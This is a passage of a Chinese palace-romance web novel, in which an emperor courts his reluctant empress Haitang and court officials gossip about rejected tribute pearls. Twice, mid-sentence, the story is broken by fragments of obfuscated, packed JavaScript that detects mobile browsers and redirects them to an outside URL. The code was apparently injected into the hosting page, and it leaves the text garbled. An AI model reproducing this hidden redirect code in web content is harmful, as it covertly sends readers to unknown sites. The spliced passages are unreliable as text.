海棠抬起头:“鸟是鸟,人是人,而且我把这两只鸟关在笼子里,是因为它们的腿受伤了,你眼瞎吗?就这样放走,等死啊?” 皇帝这才看到这两只鸟的腿上都包了黑布:“怎么回事?” 海棠有些不耐烦,没好气道:“不知道,园子里捡回来的,被人摔的吧!” “捡回来的…能被你捡回来,倒也算这两只扁毛畜牲命好。”皇帝问:“有名字吗?” 海棠弯弯唇:“有,一个叫拳头,一个叫巴掌。” 皇帝皱眉:“为何叫这么奇怪的名字?” 海棠正色道:“因为我这里欠拳头和巴掌的人实在太多了。” 皇帝已经到嘴边的话硬生生憋了回去。 然后面向鹦鹉:“会学人言吗?要是太笨,就不要在这浪费粮食了!” 他对着鹦鹉道:“海棠,这两个字记得吗?” “以后饿了,就喊海棠。” 那两只小鹦鹉眼神清澈地看过来,一声不吭。 “好吧,果然是蠢货!”皇帝微笑。 这时候那只小红毛突然吱吱出一句:“棠…” 虽然声音嘎巴,有点难听,但是发音已经很接近了。 海棠眼神一亮,上前去:“真的会说话?” “王八蛋!说一个来,王八蛋!” 两只鸟一点即通,欢快地学起了“王八蛋”,叫得一声比一声响亮。 海棠笑了:“真厉害,再说一个狗东西,狗东西!” 皇帝听着那两只死鸟此起彼伏的“狗东西”,没忍住回了句:“你才狗东西!” 海棠回头瞪着他:“你说谁?” 皇帝道:“你不要瞎教这些东西,素质过于低下。” “哼!”海棠冷哼一声,扭头提起裙子进了屋里。 皇帝挑挑眉毛,自顾自地继续欣赏那两只鸟。 卫少监看了一眼,小心翼翼地上前提醒:“陛下,卜大人说…” 皇帝脸色凝固了片刻,慢慢道:“朕有分寸。” 卜瀚文说得对,要让她陷进去,不能他自己先陷进去了。 那就乱套了。 为了这个如何让皇后这心如铁的女人能够些许波动的难题。 今晚,皇帝又继续拉下脸来,宿在长信宫。 今天他倒很老实,什么都没做,只是安静躺着。 过了很久,见海棠也没睡着,才忍不住问:“你很讨厌朕吗?” 海棠闭着眼睛:“说这些有什么用?难道你还喜欢我不成?” “总归不讨厌。” “呵…”她嗤笑:“最多算是见色起意。” “世间许多夫妻,也并非一开始就情投意合,人是可以变的,情感也是可以变的。” 海棠却道:“江山易改,本性难移,人是不会轻易变的。” 皇帝不解:“朕自问,各方各面,并不算很差,即便抛去身份地位来看,不说学富五车,饱读诗书总算吧?不说绝代姿容,相貌佼佼总算吧?况且朕又不是风烛残年的老头,正当好年华,嫁给朕,是屈就你了?” 他更有些不服:“你在宫外,就一定能嫁一个你满意的人?那个人就一定能超过朕?未必吧?” 忽然想起什么,又追问道:“你总是态度冷淡,难道以前在宫外,有什么心上人?” 海棠反问:“我不喜欢你,就非得有个别的喜欢的人吗?谁规定我必须得喜欢个什么才行?如来佛祖规定的?” 皇帝道:“你没有喜欢的人这不是正好,那你喜欢朕就行了。” 海棠被他气笑了:“我为什么要喜欢你?我凭什么要喜欢你?你以为你是谁啊?” “凭我们是夫妻,名正言顺。” “狗屁名正言顺!不喜欢就是不喜欢!” 皇帝弯唇:“不喜欢你天天跟朕睡觉?” 海棠气急败坏地翻起身来,照着他如玉的面颊上就是一大巴掌:“那是你不要脸!你还敢提起来气我?” 手不大,劲是真不小。 皇帝摸了摸脸,想必他的俊脸已经红了一片。 “那已经这样了,你就学着爱朕,朕也会学着爱你,这样我们两个都能好过一点不是吗?” 狡辩之言,海棠当然不同意:“你别扯这些歪门邪道,你要真想我们两个都好过,就像以前那样,井水不犯河水。” “不行!”他断然拒绝:“朕不仅要来,还要天天来,怎样?” 海棠几乎要吐血了:“你真是不要脸!” “就是不要脸!”他承认得倒痛快。 他突然靠近,看着她的眼睛,认真问了句:“你恨我?” 海棠无奈,闭了闭眼睛:“我本来只是讨厌你,还没到恨的地步,但是你要再这样,也快了。” 他却道:“不恨就是爱,不恨就可以爱,既然你不恨我,那就可以爱我。” “你这又是什么歪理?” 她很不理解:“你的情绪这么充沛的吗?一点好就爱,一点坏就恨?爱恨都这么轻易吗?” “这两种情绪都这么极端,我们正常人,是需要衡量很久的,你说得真容易。” 他拉着她躺下:“好了,不说了。” “睡觉吧,少生点气,女孩子总生气,对身体不好,小心长皱纹。” 海棠闷闷道:“我就要长皱纹,丑死你。” “没事的,长就长吧,”他又厚颜无耻地贴过来:“爱妃,你怎么这么香?” * 天晴了几日,又下了几日雨,一晃已到月末。 皇帝已然脑子出了些毛病,最近常常来找海棠,海棠不胜其烦,更是无力招架,正想着能用些什么法子把这件事结束掉。 她本想谎称自己得了肺痨,肺痨传染,皇帝必不敢再来,可是装病这东西有难度,再者太医院那边也不好瞒过去。 她又想假装得了眼疾,恳请圣恩,让她专心治病,但是她和春泠自己在屋里偷偷试了一试,她装瞎子装得一点也不像。 海棠真是懊恼,自己怎么这么没用,装病都装不出来,但她不死心,又让春泠去太医院那边搜罗方子,看看有没有能让她过敏的药材,这样装病也好装些。 可是等春泠从太医院回来以后,脸色便有些奇怪,把海棠叫到屋里,悄声道:“娘娘,您不是叫我去太医院找药材吗,正好您日常用的香料快要用完了,奴婢便拿了方子一起过去,准备配些材料回来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541714|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“奴婢没说是您用的香,只是让他们按方子上的材料拿给我,那方子上药材是少数,香料是多数,往日都是让司制局一起配了,根本没注意到这些,可是今日院正看了方子告诉奴婢,那原料里面有一味蔻麝,是有催情效用的,他还问奴婢拿这种东西做什么?” “怎么可能?”海棠大惊:“这可是母亲留下的香料方子,怎么会有□□物?” 这香她常年用来熏衣,味道在她身上经久不散。 难怪了,有些事情突然想明白了。 高翊那自视甚高傲气无比的家伙,怎么每次来都跟吃了猛药一样。 她还背地里骂他好色之徒,荒淫无度,原来竟然是冤枉他了。 这纰漏竟出在她自己这里,母亲留下的这方子把她坑惨了! 海棠一时间五味杂陈,不知道该怎么办了。 可还是不肯相信:“如果有催情作用,我从十四岁用到现在,为什么对我一点影响没有?是不是弄错了?” 春泠道:“院正说的应该不会有错,蔻麝本就是女子养颜之物,也许对女子效用不大,只对男人有催情增欲的作用,况且这方子也是当年别人送给夫人的,可能夫人自己都不清楚,咱们不就更不知道了。” 说着又懊悔:“早知道应该找人检验检验的,想着夫人留下的东西不会有错,哪里想到那么多。” 海棠想了想,吩咐春泠:“把这方子烧掉吧,以后再也别用了,这件事情到此为止,不要再提。” “虽然是无心之失,但要是被人揪住辫子,又该大作文章了。” 春泠道:“奴婢知道,早就处理掉了。” 海棠又问:“太医院正靠谱吗?不会多事吧?” 春泠道:“这个您放心,院正是谨小慎微的人,不敢多说什么,而且他根本不知道这是您的方子,我说这是殿内日常熏香所用,之前方子丢了,重新誊抄过,可能是誊抄的宫女抄错了,他不仅相信了,还帮我们改了方子,说换成丁香子,也是差不多的味道,只是留香不如蔻麝久。” 海棠靠在软枕上,望天叹息,造化实在太弄人,真没想到是她搬起石头砸了自己的脚... 晚上,在讲书阁将近日陈积的奏折尽数批阅完后,皇帝伸了伸腰。 走出门去,夜空中已升起了几点星子。 他捶着腰上了銮驾:“去皇后那。” 身旁的卫少监脚步一顿,然后应声道:“起驾。” 又去皇后那?陛下和卜大人都说是作戏。 可是这戏已经有点演变到不好收场的地步了。 陛下可是跟颐妃娘娘交过底的,所以这段时间任凭韩才人怎么嫉妒发作向太后告状,颐妃都是不动如山,默不作声。 可前日颐妃娘娘都起了疑心来向他打探了,他都不知该怎么回话。 陛下的态度实在拿不明白,这亲疏远近也是一日一变,叫他们这些底下人难做,到底向着谁呢? 若是陛下变了心思,他便不能跟颐妃娘娘透露太多消息了。 卫少监这般想着,皇帝的銮驾已经到了长信宫。 皇帝进去时,烛火有些昏暗,海棠已经梳洗过了,正靠在榻上,借着烛光看书。 应该是刚洗过头,散着头发,斜在一侧晾风。 皇帝坐到她边上,顺手摸了摸她的头发:“还湿着,就躺下了?不怕明天头疼?” 海棠抬起头,看了他一眼,像是想说什么,最后又没说出来。 她兴致缺缺,有些冷漠,不过这奇怪的表情倒是少见。 海棠虽然眼睛盯着书,但显然一个字也看不进去。 他又搂过来了,闻了闻她发梢的味道。 海棠已经把自己上上下下,里里外外洗了好几遍,确保已经把那该死的香味洗得一点不剩了! 可是高翊竟然没发现,那样直白看着她的眼神,吓得她往后躲了躲。 这药效...如此之强? “够了!”海棠推开他:“你没发现我今天有什么不一样吗?” 皇帝停了下来,看着她:“”不一样...哪里不一样?” 认真端详起来,没有绞头发,没有戴首饰,没有不一样啊。 海棠忍着道:“我不用香了,你没发现吗?” “哦,不用就不用了呗。”还以为是什么大事呢… 皇帝道:“你想换别的吗?朕的私库里倒是有很多罕见的香料,你去挑一挑。” “这不是重点!” “那怎么了嘛?”他不大明白。 “唉,算了,没事了。”海棠叹气,这不对,这不对劲。 肯定还有别的地方不对劲,娘还留给她什么东西来着,难道还有药? 是擦头发的香油,还是擦脸的胭脂,还是其他什么的,明天她必要翻箱倒柜地好好找一找。 27. 第二十七章 相国府。 兰君和嘉宁正在一起挑选布坊送来的料子,都是时兴的颜色和款式,按着兰君和嘉宁的喜好,分成深浅二色罗列着。 嘉宁挑了一匹嫩黄的,一匹柳青的,兰君挑了一匹天青的,一匹蜜合色的。 嘉宁翻着布料,一边说起:“还是二姐姐眼光好,她最知道我喜欢什么了,她进宫之前留给我的衣裳首饰,都特别好看。” 兰君笑着道:“以前海棠还在家的时候,她是最喜欢打扮的,又一向爱琢磨这些,她那些簪子首饰,都是她自己画的样子,拿给坊里去做,款式都是市面上没有的,当然好看了。” 海棠确实打小就臭美,喜欢穿鲜艳的衣裳,喜欢用别致的首饰。 比如她未出阁前常戴的雀鸟簪,就是她自己定做的,不像市面上卖的那样口中衔珠,而是去掉流苏,改用细珍珠镶嵌羽毛和尾巴,用宝石点缀在眼睛上。 雀鸟的羽毛也不是用刀雕刻出纹路,而是用剪子一点点剪成突起,她在臭美这方面总是别出心裁,如今这些首饰与她的身份已经不匹配,尽数由嘉宁继承了。 嘉宁看了一圈,又挑了两匹鲜亮的料子,准备给大姐的丫头玉湘和自己的丫头丹心也做两身新衣裳。 宇文府对下人向来宽厚,特别是小姐们的贴身婢女,从小到大都是陪着同吃同住的。 但是玉湘看了有些犹豫:“三小姐,这料子太贵重了,颜色这么漂亮,我们两个丫头,穿着不合适。” 兰君笑道:“无妨,三小姐给你们的,收着就是了,况且你们都是大姑娘了,也该做两件好衣裳,总要有出门见客的时候。” 玉湘和丹心便笑了笑:“那就多谢大小姐,多谢三小姐了。” 兰君转过来看着嘉宁,又告诉她:“对了,还有一事昨天忘记跟你说了,爹爹休假结束,后日就要从水庄别院回来了。” 嘉宁原本还兴致勃勃的,一下泄了气:“哎呀,怎么这么快就回来了,我的好日子算是到头了!” * 太极殿。 司宝局刘司宝前来禀报,今岁南海进贡的珍珠已到,询问陛下如何分赏。 卫少监前来查看贡品,珍珠颗颗饱满光泽,珠圆玉润,是难得的珍品。 只是采珠不易,光是培养熟识水性的采珠人就要数年,深入海底礁石群更是危险重重,每年耗费大量人力物力,也只能得到一斛左右的份量。 卫少监查看无误后,便回禀皇帝,皇帝正在批奏折,看了一眼吩咐道:“一半送去长信宫给皇后,另一半给太后。” 卫少监提醒道:“那延庆宫那边…” 还有颐妃呢,总不能把她给忘了。 皇帝搁下笔,犹豫了下:“颐妃,她向来朴素,少戴珠宝,大概用不上,拿给她也是要赏人的,就算了吧。” “是。”卫少监下去了,并没多话。 只是心里为颐妃捏了把汗。 珍珠事小,陛下的态度事大。 如今陛下有东西已经不想着延庆宫开始想着长信宫了,这可怎么好? 陛下这把假戏真做,不会演得自己都快要当真了吧? 得了卫少监的吩咐,刘司宝回到尚宫局开始分珠。 那一颗颗珍珠色泽通透,圆润发亮,刘司宝心想这要是做成珠钗或者颈链,一定光彩夺目,耀眼非凡。 分好珍珠后,用香木的匣子密封装好,红绸包裹,送往两宫。 过了半个时辰,刘司宝又回来了,脸上露出神秘的表情。 正巧尚宫局几位女官齐聚一堂在喝茶,林司仪、王司膳、万司衣、何司寝都在,只有陈司制在外边忙着不在这里。 见刘司宝回来了,林司仪先问起来:“听说今年南海的珍珠送来了,陛下没有给颐妃娘娘分呢?是不是有这么回事?” 刘司宝走过来道:“你真是个千里眼顺风耳,我前脚才回来,你这就什么都打听到了?又是谁给你通风报信的?” 林司仪道:“还用谁给我报信吗?宫里哪有什么能藏着掖着的事?” 王司膳在旁道:“这恐怕是颐妃娘娘第一次没分到东西吧,往日各地贡品,怎么会没有她的份?” 何司寝笑道:“那也要看珍不珍贵,稀不稀罕,珍珠难采,一路从崖州送到京都,舟车劳顿,路上还要用水温养,这样得之不易的东西,那自然有亲疏远近之分了。” 王司膳促狭道:“谁是亲谁是疏?谁是远谁是近?” 一直在旁看戏的万司衣这时候才出声问道:“皇后娘娘与陛下现在已经这样亲近了吗?那皇后得了珠子,可有高兴啊?” 刘司宝笑眯眯饮了口茶,故弄玄虚的样子:“你们几个八卦的,没一句问到点子上,瞧瞧人家万司衣,这才是问对了呢!” “皇后娘娘根本就没收,我亲自送去,她看了一眼,就退回来了。” “啊?”众人大惊:“这是为何啊?” 刘司宝道:“皇后娘娘说了,她已经当众立誓要杜绝奢靡之风,自然要立行立改,这么昂贵的东西,她要是用了,便是落人口实,言出未行,打了自己的脸。” 林司仪道:“这话也有道理,毕竟前朝那么多双眼睛盯着她。” 王司膳哼笑:“皇后这是转性儿了?这可不像她了,我以为她会一直那样我行我素呢,怎么如今倒是在乎起名声了。” 刘司宝道:“所以嘛,这事弄得我也不知道怎么好了,我只能禀报给卫少监,皇后坚决不要,还说这样大费周章的采珠进贡,没有什么意义,让明年不要再进贡了。” 林司仪又道:“皇后也真是不解风情,那现在那匣子珍珠送哪去了?皇后不要,这下颐妃总有得分了吧?” 王司膳道:“你别打颐妃的脸了,皇后不要的东西又拿给她,你故意丑她吧?” 万司衣问:“陛下生气了吗?” 刘司宝道:“那倒也没有生气,只是皇后不要便罢了,那匣珍珠又送回太极殿的私库了,大约以后用来赏赐吧。” 林司仪把嘴撇着:“其实什么奢不奢靡的,无非是人言可畏,也不差在这一点珠子上,有什么大不了的?就进贡这点珠子,就能误国了?” 刘司宝道:“之前河西侯在宫里发难,皇后是当众放了话的,她这样做也没错,况且这珍珠,其实我也觉得有些劳民伤财了,但是从先帝那时候就开始上贡,都是按着旧例,咱们也不能说什么。” 万司衣道:“年年海里采珠都是要死人的,若是皇后娘娘有决心,从她这把这项进贡停掉,也算她做件好事,造福一方百姓了。” 林司仪道:“你是造福百姓了,可人家当地的官员不干了,当时先帝下诏南海献珠,地方官员这么多年辛苦进献贡品,你一句劳民伤财,把他们的功劳全抹去不说,还成罪过了,这事可没那么好办。” 万司衣点头道:“你的话也有道理,说到底哪一件事能是好办的呢?” 正说着,林司仪又八卦起来,问何司寝:“最近好像都是皇后娘娘在侍寝吧,没听说陛下再去延庆宫了。” 何司寝忙作嘘声状:“你少论皇后的事!” 林司仪撅嘴:“咱们几个坐一起,问问而已,你怕什么?” 林司仪是尚宫局司级女官里最年轻的,才二十七岁就坐到司仪的位置,她的祖父是先帝朝的工部侍郎,父亲如今也在朝中任职,她十二岁选拔入宫,一路擢升,司仪官居正六品,如今和她在枢密院做侍读的爹已经平起平坐了。 她这人办事利落,待人爽快,唯一不好的就是喜欢啰里八嗦嚼舌根子,比她大三岁的万司衣是司级女官里年龄第二小的,这就是个锯嘴葫芦,干事多说话少,安静得很。 林司仪出身官家,长得也漂亮,前几年家中父母为她找了一门亲事,希望她能辞官回家,嫁作人妇,过正常女子的安生日子,可是林司仪舍不得官位,更舍不得这十几年来的辛苦打拼,便回绝了婚事。 洪尚宫今年四十七岁了,还有三年她就要离宫荣养去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545238|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,届时尚宫的位置空出来,必然又是一番争斗。 虽然尚宫局只是负责衣食住行,日常起居,真正后宫里还是由各宫宫女侍奉,内廷府来打理,各宫的消息也是密不透风的,不好打听。 但几个人提到宫闱内事的时候,还是有些好奇,司寝局掌管彤史,何司寝应该是最清楚的,但是她胆子小,哪敢传帝后的八卦。 彤史记录是很明确的,某年某月,帝召幸某妃,几时几刻进殿,几时几刻出殿,中途叫了什么人,要了什么东西,有谁进去了,有谁出来了,都是很清楚的。 但是何司寝可不敢多嘴,看过就当忘了,她要敢说漏了长信宫的事,皇后非杀了她不可。 王司膳翘起腿,慢悠悠撇了撇茶叶:“其实吧,这也跟咱们没关系,管她哪个主子红火哪个主子冷落呢,咱们就闷着头干好自己的事就行了。” 啧啧两下:“皇后,八成不会再动了吧,没准儿她真要一直坐下去了。” “那颐妃…”林司仪顿了顿:“罢了,先头都输过一次了,想翻盘怕也是难。” 何司寝虽然心里一直告诫自己不能多话,但还是忍不住多嘴了几句:“其实陛下每次去长信宫,皇后都屏退所有人,我们只能记下什么时辰进去,什么时辰出来,其余时候,没有一个人能近身,连守夜的人都没有,殿内侍奉的人也没有,寝殿里面一整夜,只有陛下跟皇后两个人,彻夜掌着灯。” “外头人离得远,什么都不知道,前几日值夜女官回来,说听见寝殿里面吵架声,我问她吵什么了,她说一个字都听不清,就听见里面嚷嚷了几声就没了,皇后又不给人过去,那古怪脾气也没人敢去触她霉头。” 何司寝笨就笨在这里,她都知道不能乱传不能乱说,可是一聊起来,就是忍不住多嘴,要是换了万司衣,不该说的,就绝对一个字不会说。 林司仪笑:“这倒像皇后做派,她虽然爱闹脾气吧,到底还是年轻貌美,就算陛下之前不喜欢,也不会一直不喜欢的。” “说来皇后是个美貌骄纵的,颐妃却是贤良淑德的,应当颐妃做皇后,皇后做贵妃,这就对了,如今是颠倒了,这美貌骄纵的成了国母,贤良淑德的成了妃妾。” 刘司宝道:“颐妃的母家毕竟不如皇后,皇后的父亲可是相国。” 林司仪道:“英雄不问出身嘛,你们这些人真是的,再说宣平侯府也是正经侯爵门第,差在哪里了?” 王司膳嗤笑:“颐妃贤良淑德吗?他父亲因她官升两级,她母亲获封一品诰命,她弟弟进了礼部任职,宣平侯府满门沾她的光,全成了皇亲国戚,你真当她是吃素的?要是将来颐妃先生下皇子,以皇后的本事,不一定斗得过她。” 何司寝道:“那你当皇后也是吃素的?我且告诉你吧,这两个女人水深着呢,没一个省油的灯,你瞧着皇后不大聪明的样子,你真把她得罪了她整死你信不信?先前她忙着对付太后,还没空动手跟颐妃掰腕子呢,以后可难说了。” “帝后之前一直不和,如今眼瞧着陛下心思开始往长信宫这边靠了,皇后的心意未必就不会变,要是她先生下孩子呢?中宫嫡出,必定是要做太子的,眼下是长信宫和延庆宫都没有皇子,要是将来有了孩子,你说为了孩子,皇后能放过颐妃?” “眼下是小打小闹,还没到真斗的时候,热闹的日子在后头呢,就说咱们太后,以前也是吃斋念佛不争不抢的人设,后来呢?” 刘司宝评价道:“其实皇后吧,人也不算很坏,虽然总跟陛下跟太后呛,不过像这样只欺负上面不欺负下面的人还是少,她对宫女不是很好吗?对别的妃子也不差,像颐妃,从进宫起就抢尽风头,我以为皇后会恨她如眼中钉呢,倒也没有。” “再像韩才人那样的,挑衅了皇后好几次,不也没拿她怎么样吗?要是皇后小心眼一点,颐妃就不说了,韩才人一个才人位分的,给她毒死了都不一定有人能查出什么来,皇后就是脾气坏了点嗷嗷的叫,至少没动过真格,也算宽容的了。”